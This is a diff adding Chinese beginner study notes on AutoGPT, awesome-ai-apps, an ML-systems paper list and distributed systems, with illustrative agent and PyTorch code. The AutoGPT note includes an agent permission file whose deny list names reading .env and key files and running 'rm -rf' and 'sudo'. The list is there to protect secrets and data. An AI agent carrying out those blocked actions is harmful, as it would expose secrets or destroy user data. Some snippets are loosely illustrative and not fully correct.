+- 对安全性要求极高的场景（Classic 已停更，Platform 仍在迭代）
+
+## 学到什么
+
+1. **Agent 的本质是"给目标 + 循环决策"**——不需要写 if-else，让模型自己决定怎么做。这改变了编程的思维模式：从"告诉计算机怎么做"变成"告诉计算机做什么"
+2. **记忆是 Agent 的第一等公民**——没有记忆的 Agent 每轮都是全新的，什么都做不了。短期记忆（prompt 窗口）和长期记忆（向量库）缺一不可
+3. **组件化是规模化前提**——Forge 的组件设计说明：Agent 不是写出来的，是搭出来的。每个组件单独测试、单独替换，整体才能可靠
+4. **从 Classic 到 Platform 的演进路线**：单体 Agent -> 组件化 -> 低代码平台 -> 持续运行的服务。这是一条清晰的工业化路径
+
+## 延伸阅读
+
+- AutoGPT Classic 源码：[Significant-Gravitas/AutoGPT](https://github.com/Significant-Gravitas/AutoGPT)（`classic/` 目录）
+- AutoGPT Platform 文档：[docs.agpt.co](https://docs.agpt.co)
+- [AutoGPT Forge 入门教程](https://aiedge.medium.com/autogpt-forge-e3de53cc58ec)（4 篇系列文章）
+- [Agent Protocol 标准](https://agentprotocol.ai/)（跨 Agent 通信协议）
+- [[langchain]] —— 另一个流行的 Agent 框架，侧重"链式"而非"循环"范式
+- [[crewai]] —— 多 Agent 协作框架，受 AutoGPT 启发但定位不同
+
+## 关联
+
+- [[langchain]] —— LangChain 侧重 Chain（线性流程），AutoGPT 侧重 Loop（循环决策），两者思路互补
+- [[langgraph]] —— LangChain 的图编排层，加入了循环能力，可以看作"LangChain 吸收了 AutoGPT 的思想"
+- [[openai-agents]] —— OpenAI 官方 Agent 框架，继承了"工具调用 + 循环"的思路
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
diff --git a/src/content/docs/projects/autogpt.md b/src/content/docs/projects/autogpt.md
new file mode 100644
index 000000000..f9e7b0764
--- /dev/null
+++ b/src/content/docs/projects/autogpt.md
@@ -0,0 +1,202 @@
+---
+title: AutoGPT 学习笔记 —— 让 AI 自己干活
+来源: https://github.com/Significant-Gravitas/AutoGPT
+日期: 2026-06-13
+分类: 机器学习
+子分类: 数据科学与 AI
+provenance: pipeline-v3
+---
+
+## 什么是 AutoGPT
+
+想象你有一个实习生，你说一句"帮我调研一下最近 Reddit 上关于 AI 的热门话题，做成一份简报"，这个实习生会自己上网搜索、阅读、整理、写成文档，全程不用你盯着。
+
+AutoGPT 就是这样一种工具 —— 它让大语言模型（LLM）不再只是"你说一句、它回一句"的聊天机器人，而是能**自己决定下一步做什么、一直干到完成目标**的"智能体"（Agent）。
+
+核心仓库：https://github.com/Significant-Gravitas/AutoGPT，GitHub Star 超过 18 万。
+
+## 核心概念
+
+AutoGPT 的核心思想可以拆成四个字：**目标驱动**。
+
+传统聊天机器人的工作流程是线性的：你提问，它回答。AutoGPT 的工作流程是一个循环，叫 "Act-Observation-Reason" 循环：
+
+1. **感知**：拿到当前状态（有什么文件、搜索结果、网页内容）
+2. **决策**：问自己"下一步该做什么"
+3. **行动**：执行一个具体操作（搜索、读文件、写文件、调 API）
+4. **观察**：看行动的结果
+5. 回到第 2 步，直到完成目标或达到上限
+
+这个循环的关键在于：**每一步做什么，都由模型自己决定**，而不是写死的程序流程。
+
+### 三大组件
+
+| 组件 | 作用 | 类比 |
+|------|------|------|
+| 大脑（LLM） | 做决策、生成计划 | 实习生的脑子 |
+| 工具箱（Commands） | 能做的事情的集合 | 搜索、写文件、调 API |
+| 记忆（Memory） | 记住之前做过什么 | 实习生的小本本 |
+
+## 两种形态
+
+AutoGPT 现在有两套系统：
+
+**AutoGPT Classic（原版）**：基于 `forge` 框架，用 Python 构建，适合想自己写智能体的开发者。你给它一个目标，它自己分解步骤、执行操作。
+
+**AutoGPT Platform（新版）**：基于可视化的"积木"（Blocks）界面，拖拽连接就能创建智能体，不写代码也能用。
+
+下面以 Classic 版本为例，看看怎么搭起来。
+
+## 环境搭建
+
+AutoGPT Classic 的运行依赖几个东西：
+
+- Python 环境（推荐用 poetry 管理）
+- 一个 OpenAI API Key（或者其他 LLM 提供商的 key）
+- Docker（如果需要平台版本）
+
+最简单的启动方式：
+
+```bash
+# 进入 classic 目录
+cd classic
+
+# 安装依赖
+poetry install
+
+# 配置 API Key
+cp .env.example .env
+# 编辑 .env，填入你的 OPENAI_API_KEY
+
+# 启动
+poetry run python -m forge
+```
+
+启动后，智能体服务运行在 `http://localhost:8000`。
+
+## 权限系统 —— 给智能体划范围
+
+AutoGPT 最聪明的设计之一是**权限控制**。你想让一个实习生做任务，你不会给它公司保险柜的密码。AutoGPT 同理：
+
+```yaml
+# .autogpt/autogpt.yaml（工作区级别的权限）
+allow:
+  - read_file({workspace}/**)        # 可以读工作区里的任何文件
+  - write_to_file({workspace}/**)    # 可以写文件到工作区
+  - list_folder({workspace}/**)      # 可以查看工作区目录
+  - web_search(*)                    # 可以做任何网络搜索
+
+deny:
+  - read_file(**.env)               # 不能读 .env 文件（保护密钥）
+  - read_file(**.key)               # 不能读密钥文件
+  - execute_shell(rm -rf:*)         # 不能执行删除命令
+  - execute_shell(sudo:*)           # 不能执行 sudo
+```
+
+权限检查的顺序是：先看"拒绝列表"，再看"允许列表"，最后如果都不匹配，就**停下来问用户**。这种设计保证了智能体不会越权操作。
+
+## 代码示例
+
+### 示例一：构建一个简单的智能体
+
+下面是用 Forge 框架创建自定义智能体的核心代码：
+
+```python
+from forge.agent.base import BaseAgent, BaseAgentSettings
+from forge.config.ai_profile import AIProfile
+
+# 第一步：定义智能体的"人设"
+state = BaseAgentSettings(
+    name="代码审查员",                          # 名字
+    description="专门审查 Python 代码的智能体",    # 描述
+    ai_profile=AIProfile(
+        ai_name="Reviewer",                      # AI 名称
+        ai_role="Senior Python Code Reviewer",   # AI 角色
+        ai_goals=[                               # AI 的目标
+            "审查 Python 代码的质量和问题",
+            "提出具体的改进建议",
+        ],
+    ),
+    task="审查给定 Python 项目的代码质量",       # 当前任务
+)
+
+# 第二步：给智能体配置工具箱（组件）
+self.system = SystemComponent()        # 提供"完成任务"指令
+self.todo = TodoComponent()            # 管理多步骤任务
+self.data_processor = DataProcessorComponent()  # 处理数据
+self.http_client = HTTPClientComponent()        # 发起 HTTP 请求
+```
+
+这里的关键是 `ai_goals` —— 你不需要告诉智能体每一步怎么做，只需要告诉它**最终要达成什么目标**。智能体会自己拆解任务。
+
+### 示例二：智能体的核心决策循环
+
+智能体最核心的代码在 `execute_step` 方法里。简化版逻辑如下：
+
+```python
+async def execute_step(self, task_id: str, step_request: StepRequestBody) -> Step:
+    """
+    执行一个步骤：这是智能体循环的核心。
+    每次被调用时，智能体需要做三件事：
+    1. 看当前状态
+    2. 决定下一步行动
+    3. 执行并返回结果
+    """
+    # 获取当前任务信息
+    task = await self.db.get_task(task_id)
+
+    # 智能体的决策循环（简化版）：
+    while not self.finished:
+        # 感知：收集当前上下文
+        messages = self._get_messages()          # 之前的对话历史
+        memory = self._get_memory()              # 短期记忆
+        commands = function_specs_from_commands(self.commands)  # 可用工具列表
+
+        # 决策：让 LLM 决定下一步
+        response = await self.llm.ask(
+            prompt=ChatPrompt(messages=messages),
+            functions=commands,       # 把可用工具传给模型
+        )
+
+        # 行动：执行模型选择的工具
+        if response.function_call:
+            result = await self._execute_command(
+                response.function_call.name,
+                response.function_call.arguments,
+            )
+
+            # 观察：把结果反馈给模型
+            messages.append({
+                "role": "function",
+                "name": response.function_call.name,
+                "content": str(result),
+            })
+
+    return Step(...)
+```
+
+这个循环展示了 AutoGPT 的核心：模型不是直接回答，而是**从工具列表中挑选一个来调用**，然后看结果，再决定下一个工具。就像一个人用 Google、打开文件管理器、写文档，反复循环直到任务完成。
+
+## 关键术语表
+
+| 术语 | 含义 |
+|------|------|
+| Agent | 智能体，即 AutoGPT 运行的 AI 程序 |
+| Command | 命令，智能体能执行的具体操作（搜索、写文件等） |
+| Component | 组件，封装一组相关功能的模块 |
+| Workspace | 工作区，智能体的"办公室"，文件存在这里 |
+| Forge | 构建智能体的框架/工具包 |
+| Agent Protocol | 智能体协议，定义了任务创建和执行的 API 标准 |
+| LLM | 大语言模型，即智能体的"大脑" |
+
+## 学习小结
+
+AutoGPT 的核心价值不在于"它比 ChatGPT 聪明"，而在于**它把一次性对话变成了一个自主的工作流**。你只需要说"做什么"，它自己决定"怎么做"。
+
+对于零基础的初学者，理解这一点就够了：AI 正在从"问答工具"变成"做事工具"。AutoGPT 是目前这个方向最成熟的开源实现之一。
+
+## 下一步
+
+- 跑一遍 `poetry run python -m forge`，亲眼看看智能体怎么工作
+- 读 Forge 教程系列：https://aiedge.medium.com/autogpt-forge-e3de53cc58ec
+- 试试新版平台（https://docs.agpt.co），拖拽积木创建智能体
diff --git a/src/content/docs/projects/awesome-ai-apps.md b/src/content/docs/projects/awesome-ai-apps.md
new file mode 100644
index 000000000..37dc10b3a
--- /dev/null
+++ b/src/content/docs/projects/awesome-ai-apps.md
@@ -0,0 +1,236 @@
+---
+title: Awesome AI Apps — 零基础学习笔记
+来源: https://github.com/Arindam200/awesome-ai-apps
+日期: 2026-06-13
+分类: 机器学习
+子分类: 数据科学与 AI
+provenance: pipeline-v3
+---
+
+# Awesome AI Apps — 零基础学习笔记
+
+## 一、这个项目是什么
+
+`awesome-ai-apps` 是一个 GitHub 上的开源项目，它像一本"大模型应用菜谱"。
+
+日常类比：想象你想学做菜。你可以去翻一本百科全书，里面写满了"如何合成氨基酸"——但你想学的是"怎么做番茄炒蛋"。这个项目就是那本菜谱，里面有 80+ 个可以直接运行、直接修改的 AI 应用示例。
+
+它由 Arindam Majumder 等人维护，已经获得了超过 12,000 个 Star。项目用 Python 为主（67.5%），也有部分 TypeScript（15.6%）。
+
+## 二、项目结构总览
+
+项目把 80+ 个示例分成了六大类，每类解决一个不同的问题：
+
+```
+awesome-ai-apps/
+├── starter_ai_agents/        ← 入门级：每个框架一个"Hello World"
+├── simple_ai_agents/         ← 简单应用：能实际干活的小工具
+├── voice_agents/             ← 语音助手：能听会说
+├── mcp_ai_agents/            ← 协议扩展：让 AI 连接外部工具
+├── memory_agents/            ← 带记忆的 Agent：记住你的偏好
+└── rag_apps/                 ← 文档问答：让 AI 读你的文件
+```
+
+### 关键概念速查
+
+| 术语 | 日常类比 | 技术含义 |
+|------|---------|---------|
+| **Agent** | 一个帮你跑腿的助手 | 能调用工具、做决策的 AI 程序 |
+| **RAG** | 给你一个参考书再去考试 | Retrieval-Augmented Generation，检索增强生成 |
+| **MCP** | 给助手一本"工具说明书" | Model Context Protocol，AI 连接外部系统的协议 |
+| **Framework** | 一套厨房用具 | 用来构建 Agent 的编程框架，如 LangChain、Agno |
+
+## 三、核心概念详解
+
+### 3.1 什么是 AI Agent
+
+AI Agent 的基本结构可以类比成一个餐厅服务员：
+
+1. **听** —— 接收你的问题（用户输入）
+2. **想** —— 判断需不需要借助工具（大语言模型推理）
+3. **做** —— 调用外部工具获取信息（工具调用）
+4. **答** —— 综合信息给你回复
+
+### 3.2 什么是 RAG
+
+RAG 的全称是 Retrieval-Augmented Generation（检索增强生成）。
+
+日常类比：普通 AI 就像一个只靠记忆答题的人，你问它"公司去年的财报数据是多少"，它只能猜。RAG 相当于给它发了一本"参考书"——你先把它需要的文件喂给它，它先"翻阅"相关文件，再基于文件内容回答。这样回答的准确率会高很多。
+
+RAG 的三个步骤：
+1. **切分** —— 把长文档切成小块
+2. **存储** —— 把小块存入向量数据库（一种特殊的"会搜索的数据库"）
+3. **检索 + 生成** —— 你问问题时，先搜相关文件块，再把文件块和问题一起交给 AI 回答
+
+### 3.3 为什么需要 Framework
+
+直接写 Agent 代码就像从零开始造发动机。LangChain、Agno、LlamaIndex 这些框架提供了"发动机外壳"——它们处理了 prompts 管理、工具注册、对话历史维护等重复工作，让你专注于业务逻辑。
+
+## 四、代码示例
+
+### 示例一：用 LangChain 构建一个带工具的 Agent
+
+这是 `starter_ai_agents/langchain_starter` 中的示例。它展示了一个最基础的 Agent 结构：定义工具、绑定模型、启动循环。
+
+```python
+"""LangChain starter — a tool-calling agent powered by Nebius."""
+import os
+from datetime import datetime
+
+from dotenv import load_dotenv
+from pydantic import SecretStr
+from langchain_core.prompts import ChatPromptTemplate
+from langchain_core.tools import tool
+from langchain_openai import ChatOpenAI
+from langchain.agents import AgentExecutor, create_tool_calling_agent
+
+load_dotenv()
+
+
+@tool
+def get_current_time() -> str:
+    """Return the current local date and time as an ISO-8601 string."""
+    return datetime.now().isoformat(timespec="seconds")
+
+
+@tool
+def word_count(text: str) -> int:
+    """Count the number of whitespace-separated words in the given text."""
+    return len(text.split())
+
+
+def build_agent() -> AgentExecutor:
+    llm = ChatOpenAI(
+        model="Qwen/Qwen3-30B-A3B",
+        base_url="https://api.tokenfactory.nebius.com/v1/",
+        api_key=SecretStr(os.environ["NEBIUS_API_KEY"]),
+    )
+
+    prompt = ChatPromptTemplate.from_messages(
+        [
+            (
+                "system",
+                "You are a helpful assistant. Use tools when they are relevant "
+                "instead of guessing.",
+            ),
+            ("placeholder", "{chat_history}"),
+            ("human", "{input}"),
+            ("placeholder", "{agent_scratchpad}"),
+        ]
+    )
+
+    tools = [get_current_time, word_count]
+    agent = create_tool_calling_agent(llm, tools, prompt)
+    return AgentExecutor(agent=agent, tools=tools, verbose=True)
+```
+
+代码拆解（按执行顺序）：
+
+1. `@tool` 装饰器：把普通 Python 函数变成 AI 可调用的"工具"。AI 在需要时会自动调用这些函数。
+2. `ChatOpenAI`：指定使用哪个 AI 模型。这里用的是 Qwen3-30B-A3B，通过 Nebius 的 API 访问。
+3. `ChatPromptTemplate`：定义对话的"剧本"。system 消息是告诉 AI 它的角色，{input} 是用户的问题，{chat_history} 是之前的对话记录。
+4. `create_tool_calling_agent`：LangChain 提供的"一键组装"功能，把模型、工具、提示词绑在一起。
+5. `AgentExecutor`：执行器，负责运行 Agent 的主循环。
+
+### 示例二：用 Agno 构建一个金融数据 Agent
+
+这是 `simple_ai_agents/finance_agent` 中的示例，展示了一个更实用的 Agent——能查股票价格和财经新闻。
+
+```python
+from agno.agent import Agent
+from agno.models.nebius import Nebius
+from agno.tools.yfinance import YFinanceTools
+from agno.tools.duckduckgo import DuckDuckGoTools
+from agno.playground import Playground, serve_playground_app
+import os
+from dotenv import load_dotenv
+
+load_dotenv()
+
+agent = Agent(
+    name="xAI Finance Agent",
+    model=Nebius(
+            id="meta-llama/Llama-3.3-70B-Instruct",
+            api_key=os.getenv("NEBIUS_API_KEY")
+    ),
+    tools=[DuckDuckGoTools(), YFinanceTools(stock_price=True, analyst_recommendations=True, stock_fundamentals=True)],
+    instructions = ["Always use tables to display financial/numerical data."],
+    show_tool_calls = True,
+    markdown = True,
+)
+
+app = Playground(agents=[agent]).get_app()
+
+if __name__ == "__main__":
+    serve_playground_app("xai_finance_agent:app", reload=True)
+```
+
+代码拆解：
+
+1. `Agent`：Agno 框架的核心类，一行代码就创建了一个 Agent。
+2. `model=Nebius(...)`：指定 AI 模型，这里用了 Llama-3.3-70B-Instruct（一个 700 亿参数的模型）。
+3. `tools=[...]`：给 Agent 装上两个"本领"——
+   - `DuckDuckGoTools`：能上网搜索最新财经新闻
+   - `YFinanceTools`：能查实时股票价格、分析师推荐、公司基本面数据
+4. `instructions`：告诉 AI 如何格式化输出——数字用表格，文字用要点。
+5. `Playground`：Agno 自带的 Web 界面，运行后在浏览器里就能跟 Agent 对话。
+
+对比两个示例：
+
+| 特性 | LangChain 示例 | Agno 示例 |
+|------|---------------|-----------|
+| 代码行数 | ~35 行 | ~15 行 |
+| 抽象程度 | 需要手动组装 prompt、工具、执行器 | 一行 Agent() 搞定 |
+| 适合场景 | 想理解底层机制 | 想快速搭建应用 |
+| 框架哲学 | "积木式"，每一块你都能替换 | "一站式"，尽可能少写代码 |
+
+## 五、如何上手这个项目
+
+项目的 Getting Started 部分给出了清晰的步骤：
+
+```bash
+# 1. 克隆项目
+git clone https://github.com/Arindam200/awesome-ai-apps.git
+cd awesome-ai-apps
+
+# 2. 选一个子项目（推荐从 starter 开始）
+cd starter_ai_agents/langchain_starter
+
+# 3. 安装依赖（推荐用 uv，比 pip 快很多）
+uv sync
+
+# 4. 配置 API Key
+cp .env.example .env
+# 编辑 .env，填入你的 API Key
+
+# 5. 运行
+python main.py
+```
+
+推荐的学习路径（由简到难）：
+
+1. **第一站**：`starter_ai_agents/langchain_starter` — 理解 Agent 的基本结构
+2. **第二站**：`simple_ai_agents/finance_agent` — 看到 Agent 能解决什么问题
+3. **第三站**：`rag_apps/simple_rag` — 学习让 AI 读你自己的文档
+4. **第四站**：`memory_agents/agno_memory_agent` — 让 Agent 记住你的偏好
+5. **第五站**：`advance_ai_agents` 下的任意项目 — 看多 Agent 协作如何工作
+
+## 六、项目中的关键技术栈
+
+项目中用到的主要框架和技术：
+
+- **LangChain / LangGraph** — 最主流的 AI Agent 框架，生态最成熟
+- **Agno** — 新兴框架，以简洁著称，代码量通常是 LangChain 的 1/3
+- **LlamaIndex** — 擅长 RAG 场景，文档处理能力强
+- **CrewAI** — 多 Agent 协作框架，可以组建"AI 团队"
+- **PydanticAI** — 基于 Pydantic 的类型安全 Agent 框架
+- **MCP** — 让 AI 连接数据库、GitHub、Slack 等外部系统的协议
+- **Nebius Token Factory** — 项目中常用的 API 服务，提供多种 LLM 模型
+
+## 七、学习要点总结
+
+1. Agent 的本质 = LLM + 工具 + 循环。不管用哪个框架，核心结构都一样。
+2. RAG 是解决"AI 不知道你的私有数据"这一问题的标准方案。
+3. MCP 是新的连接标准，就像给 AI 装上了 USB 接口。
+4. 框架没有"最好"，只有"最适合"。LangChain 灵活但啰嗦，Agno 简洁但生态较新。
+5. 所有示例都要求 Python 3.10+，建议用 `uv` 而不是 `pip` 管理依赖。
diff --git a/src/content/docs/projects/awesome-deep-learning-systems.md b/src/content/docs/projects/awesome-deep-learning-systems.md
new file mode 100644
index 000000000..760bc4ec1
--- /dev/null
+++ b/src/content/docs/projects/awesome-deep-learning-systems.md
@@ -0,0 +1,249 @@
+---
+title: Awesome ML Systems Papers — 零基础学习笔记
+来源: https://github.com/byungsoo-oh/ml-systems-papers
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# Awesome ML Systems Papers — 零基础学习笔记
+
+## 一、什么是"ML Systems"？
+
+在写笔记之前，先搞清楚一个问题：**"ML Systems"到底是什么？**
+
+### 日常类比：餐厅 vs 厨师
+
+想象一家高级餐厅：
+
+- **ML（机器学习）研究者** = 发明新菜谱的厨师。他们设计算法、提出新的模型结构（比如 Transformer）。
+- **ML Systems 研究者** = 餐厅的运营团队。他们确保成百上千个灶台同时运转、食材准时送达、锅碗瓢盆够用、火候控制精准。
+
+一个菜谱（算法）在实验室里可能只需要一个灶台就能做。但当你要同时做 1000 道菜（训练一个万亿参数的大模型）时，你就需要一套完整的**系统**来协调。
+
+这就是 ML Systems 要解决的问题——**如何让机器学习算法在真实的硬件上跑得快、跑得省、跑得稳。**
+
+### 这个仓库在干什么？
+
+`byungsoo-oh/ml-systems-papers` 是一个精心整理的论文清单，收录了 ML Systems 领域几乎所有重要的学术论文。截至 2026 年，它涵盖了 **20+ 个分类**、数百篇论文，时间跨度从 2018 年到 2026 年。
+
+简单来说：这是进入"如何让大模型跑得更快"这个领域的**地图**。
+
+---
+
+## 二、核心概念
+
+这个仓库的论文覆盖了 ML Systems 的方方面面。下面挑出 4 个最核心、也最易懂的概念，用类比+代码的方式讲清楚。
+
+### 概念 1：数据管道（Data Pipeline）
+
+**类比：** 餐厅的食材配送。再厉害的厨师，如果食材半小时内送不到灶台上，整个餐厅就得停工。
+
+在深度学习训练中，GPU 计算速度极快，但数据从硬盘读到 GPU 内存的速度很慢。如果 GPU 等数据的时间超过计算时间，GPU 就"闲着没事干"——这是巨大的浪费。
+
+**代码示例：PyTorch 数据加载器**
+
+```python
+from torch.utils.data import DataLoader, Dataset
+
+class MyDataset(Dataset):
+    def __getitem__(self, idx):
+        # 这里模拟从磁盘加载一张图片
+        image = load_image(f"/data/images/img_{idx}.jpg")
+        label = get_label(f"/data/labels/label_{idx}.txt")
+        return image, label
+
+# 关键参数：
+# num_workers=8  →  启动 8 个"搬运工"线程并行读数据
+# pin_memory=True →  把数据先放在"快速通道"内存，加速传到 GPU
+# batch_size=64   →  每次送 64 张图给 GPU 计算
+loader = DataLoader(
+    MyDataset(),
+    batch_size=64,
+    num_workers=8,
+    pin_memory=True,
+    prefetch_factor=2  # 提前预取 2 批数据
+)
+
+for images, labels in loader:
+    output = model(images)  # GPU 一直在忙，不用等
+    loss = compute_loss(output, labels)
+```
+
+仓库中的"Data Processing"分类下收录了大量优化数据管道的论文，比如 **FFCV**（通过去掉数据瓶颈来加速训练）、**FastFlow**（用 CPU-GPU 协作加速预处理）。
+
+---
+
+### 概念 2：分布式训练（Distributed Training）
+
+**类比：** 一栋楼装修。一个装修队要 10 年，100 个装修队同时干，可能只要 3 个月。但前提是——每个队知道自己的区域，大家不互相干扰，还要定期对齐进度。
+
+当模型大到一张 GPU 的内存放不下时，就需要把模型拆成多份，分配到多张 GPU 上同时训练。这就是分布式训练。
+
+**三种基本并行策略：**
+
+| 策略 | 类比 | 怎么分 |
+|------|------|--------|
+| **数据并行（Data Parallelism）** | 每人做同一道题的不同版本 | 数据分到各 GPU，每份模型副本完整 |
+| **模型并行（Model Parallelism）** | 每人造车的不同部件 | 模型拆碎，每块数据只占一部分 GPU |
+| **流水线并行（Pipeline Parallelism）** | 工厂流水线 | 模型分阶段，像传送带一样逐层传递 |
+
+**代码示例：PyTorch 数据并行（DDP）**
+
+```python
+import torch
+import torch.distributed as dist
+from torch.nn.parallel import DistributedDataParallel as DDP
+
+# 1. 初始化进程组（所有 GPU 先"建群"）
+dist.init_process_group(backend="nccl")
+local_rank = dist.get_rank()
+torch.cuda.set_device(local_rank)
+
+# 2. 加载模型并放到对应 GPU
+model = MyModel().cuda(local_rank)
+model = DDP(model, device_ids=[local_rank])
+
+# 3. 训练循环
+for images, labels in dataloader:
+    images, labels = images.cuda(local_rank), labels.cuda(local_rank)
+    output = model(images)
+    loss = compute_loss(output, labels)
+
+    # 反向传播：每块 GPU 各自算梯度
+    loss.backward()
+
+    # 同步梯度：所有 GPU 的平均梯度（这就是"对齐进度"）
+    for param in model.parameters():
+        dist.all_reduce(param.grad.data)
+
+    # 更新参数
+    optimizer.step()
+```
+
+仓库中"Training System → Distributed Training"分类下有超过 **100 篇论文**，包括：
+- **Megatron-LM**（模型并行的经典实现）
+- **DeepSpeed**（微软的数据并行优化方案）
+- **Alpa**（自动寻找最佳并行策略）
+- **MegaScale**（在超过 10,000 张 GPU 上训练大模型）
+
+---
+
+### 概念 3：GPU 共享与调度（GPU Scheduling）
+
+**类比：** 健身房里的跑步机。健身房有 20 台跑步机，但来了 100 个人。谁先用、用多久、什么时候让出来，这就是调度的问题。
+
+在云数据中心，成百上千的用户争夺有限的 GPU 资源。调度器要决定：哪个任务先跑？哪个可以等？如果某台 GPU 坏了，任务怎么办？
+
+---
+
+### 概念 4：推理优化（Inference Optimization）
+
+**类比：** 餐厅上菜。训练是研发新菜（可以慢慢做），推理是实际端给客户（必须快）。
+
+模型训练好之后，要部署到线上服务给用户。推理系统的核心目标是：**用最少的资源、最高的速度响应最多用户的请求。**
+
+**代码示例：vLLM 推理加速（概念性）**
+
+```python
+# vLLM 是仓库"推理系统"分类中最有名的项目
+# 它通过 PagedAttention 技术，把 GPU 显存像操作系统管理内存
+# 一样分页管理，减少浪费，大幅提升吞吐量
+
+from vllm import LLM, SamplingParams
+
+# 加载模型（vLLM 会自动优化显存）
+llm = LLM(model="meta-llama/Llama-3-70B", gpu_memory_utilization=0.9)
+
+# 生成请求
+prompts = [
+    "请解释什么是分布式训练",
+    "用一句话概括机器学习",
+    "Python 中什么是列表推导式",
+]
+
+sampling_params = SamplingParams(temperature=0.7, max_tokens=256)
+outputs = llm.generate(prompts, sampling_params)
+
+for output in outputs:
+    print(output.outputs[0].text)
+```
+
+仓库中"推理系统"分类收录了 vLLM、TGI、TensorRT-LLM 等相关论文。
+
+---
+
+## 三、仓库结构总览
+
+以下是该仓库的完整分类结构，你可以把它当成 ML Systems 领域的"目录"：
+
+```
+ML Systems 论文清单
+├── 1. 数据处理（Data Processing）
+│   ├── 数据管道优化（Data pipeline optimization）
+│   ├── 缓存与分布式存储（Caching and distributed storage）
+│   ├── LLM 数据面（LLM data plane）
+├── 2. 训练系统（Training System）
+│   ├── GPU 集群工作负载分析
+│   ├── 资源调度（Resource scheduling）
+│   ├── 分布式训练（Distributed training）← 论文最多，100+篇
+│   ├── AutoML
+│   └── GNN 训练
+├── 3. 推理系统（Inference System）
+├── 4. 注意力优化（Attention Optimization）
+├── 5. 混合专家模型（Mixture of Experts / MoE）
+├── 6. 通信优化与网络（Communication & Network）
+├── 7. 容错与慢节点缓解（Fault tolerance）
+├── 8. GPU 显存管理（GPU Memory Management）
+├── 9. GPU 共享（GPU Sharing）
+├── 10. 编译器（Compiler）
+├── 11. GPU Kernel 优化
+├── 12. LLM 长上下文（Long Context）
+├── 13. 模型压缩（Model Compression）
+├── 14. 联邦学习（Federated Learning）
+├── 15. 隐私保护 ML（Privacy-Preserving ML）
+├── 16. ML API 与应用侧优化
+├── 17. 用 ML 优化系统（ML for Systems）
+├── 18. 能效（Energy Efficiency）
+├── 19. RAG（检索增强生成）
+├── 20. 仿真（Simulation）
+├── 21. 智能体 AI 系统（Systems for Agentic AI）
+├── 22. 强化学习后训练（RL Post-Training）
+├── 23. 多模态（Multimodal）
+└── 24. 混合 LLM（Hybrid LLMs）
+```
+
+---
+
+## 四、如何阅读这份论文清单？
+
+### 给零基础学习者的建议
+
+1. **不要从头读到尾**。这份清单像字典，不是小说。先根据兴趣选一个分类，比如"数据管道"。
+2. **先看标注了 [Survey 🔍] 的论文**。综述论文会帮你建立全局认知，就像先读地图再钻小路。
+3. **关注带有知名系统名字的论文**：
+   - **Megatron-LM** — 模型并行的开创性实现
+   - **DeepSpeed** — 微软的分布式训练库
+   - **vLLM** — 推理加速的事实标准
+   - **Alpa** — 自动并行策略搜索
+   - **GShard / MoE** — 混合专家架构
+
+### 阅读顺序推荐
+
+| 阶段 | 目标 | 推荐分类 |
+|------|------|----------|
+| 入门 | 了解全局 | 综述论文 + 数据管道 |
+| 进阶 | 理解分布式训练 | 分布式训练 + GPU 显存管理 |
+| 深入 | 研究具体方向 | 按兴趣选择特定分类 |
+
+---
+
+## 五、总结
+
+- ML Systems 研究的是**让机器学习在真实硬件上高效运行**的问题
+- 这个仓库收录了 2026 年以前 ML Systems 领域的几乎所有重要论文
+- 核心挑战包括：数据管道瓶颈、分布式并行策略、GPU 资源调度、推理加速
+- 学习路径建议：综述论文 → 数据管道 → 分布式训练 → 深入细分方向
+
+这份清单本身就是一个巨大的学习资源。把它收藏起来，随着你逐步深入 ML Systems 领域，定期回来翻看，会有新的发现。
diff --git a/src/content/docs/projects/awesome-distributed-systems-list.md b/src/content/docs/projects/awesome-distributed-systems-list.md
new file mode 100644
index 000000000..4dc23d83c
--- /dev/null
+++ b/src/content/docs/projects/awesome-distributed-systems-list.md
@@ -0,0 +1,209 @@
+---
+title: awesome-distributed-systems - 零基础学习笔记
+来源: https://github.com/theanalyst/awesome-distributed-systems
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# awesome-distributed-systems - 零基础学习笔记
+
+## 什么是"分布式系统"
+
+想象你在开一家外卖店。
+
+一开始，只有你一个人接单、做饭、送餐。这叫**单机系统**——所有事情都挤在一台机器上处理。后来客人越来越多，你雇了十个厨师、十个骑手。这些人分散在不同的地方，各自干各自的活，但必须协调好谁做什么、什么时候做。这就是**分布式系统**——多台机器（或者说"人"）协作完成一个共同目标。
+
+但这个列表告诉我们一个残酷的真相：分布式系统之所以难，不是因为"人多"，而是因为人（机器）会偷懒、会迟到、会突然失联。
+
+## 核心概念一：CAP 定理
+
+这是入门分布式系统的第一课。
+
+CAP 说的是：一个分布式数据库，最多只能同时满足下面三件事中的**两件**：
+
+- **C（Consistency）一致性**：所有节点看到的数据是一样的。就像全公司共用一张表格，你改了，所有人立刻看到。
+- **A（Availability）可用性**：每次请求都有响应。不管系统多忙，永远不拒绝。
+- **P（Partition tolerance）分区容错性**：机器之间断网了，系统还能继续工作。就像某个骑手迷路了，其他骑手照样送餐。
+
+分布式系统**必须**面对分区（网络总会断），所以你实际上只能选：要么 CP（保证一致，牺牲可用），要么 AP（保证可用，牺牲一致）。
+
+> 日常类比：医院急诊室。
+> - CP：医生确认每个病人病历完整才接诊（安全但慢）
+> - AP：先来先诊，病历后续补上（快但有风险）
+
+## 核心概念二：分布式系统的"五大谎言"
+
+这个列表引用了经典的"分布式计算的谬误"（Fallacies of Distributed Computing），翻译成大白话就是：
+
+1. 网络是可靠的（其实经常断）
+2. 延迟是零（其实总有延迟）
+3. 带宽是无限的（其实有限）
+4. 网络是安全的（其实不安全）
+5. 拓扑结构不变（其实网络随时在变）
+
+学习分布式系统的第一步，就是**假设一切都会出错**。
+
+## 核心概念三：一致性 vs 可用性
+
+这个列表里大量论文都在讨论一个问题：当多台机器存储同一份数据时，怎样保证大家看到的不矛盾？
+
+两个经典论文：
+
+- **Dynamo**（亚马逊的论文）：解决高可用问题的关键方案，后来催生了 Cassandra 等系统。核心思路是用"最终一致性"——允许短暂不一致，但最终会达成一致。
+- **Paxos / Raft**：让多台机器"投票"决定谁说了算。Paxos 是理论奠基，Raft 是更容易理解的工程实现。
+
+## 代码示例：用 Python 理解"最终一致性"
+
+### 示例一：模拟一个简单的键值存储（一致性 vs 可用性）
+
+```python
+"""
+一个简单的分布式键值存储模拟。
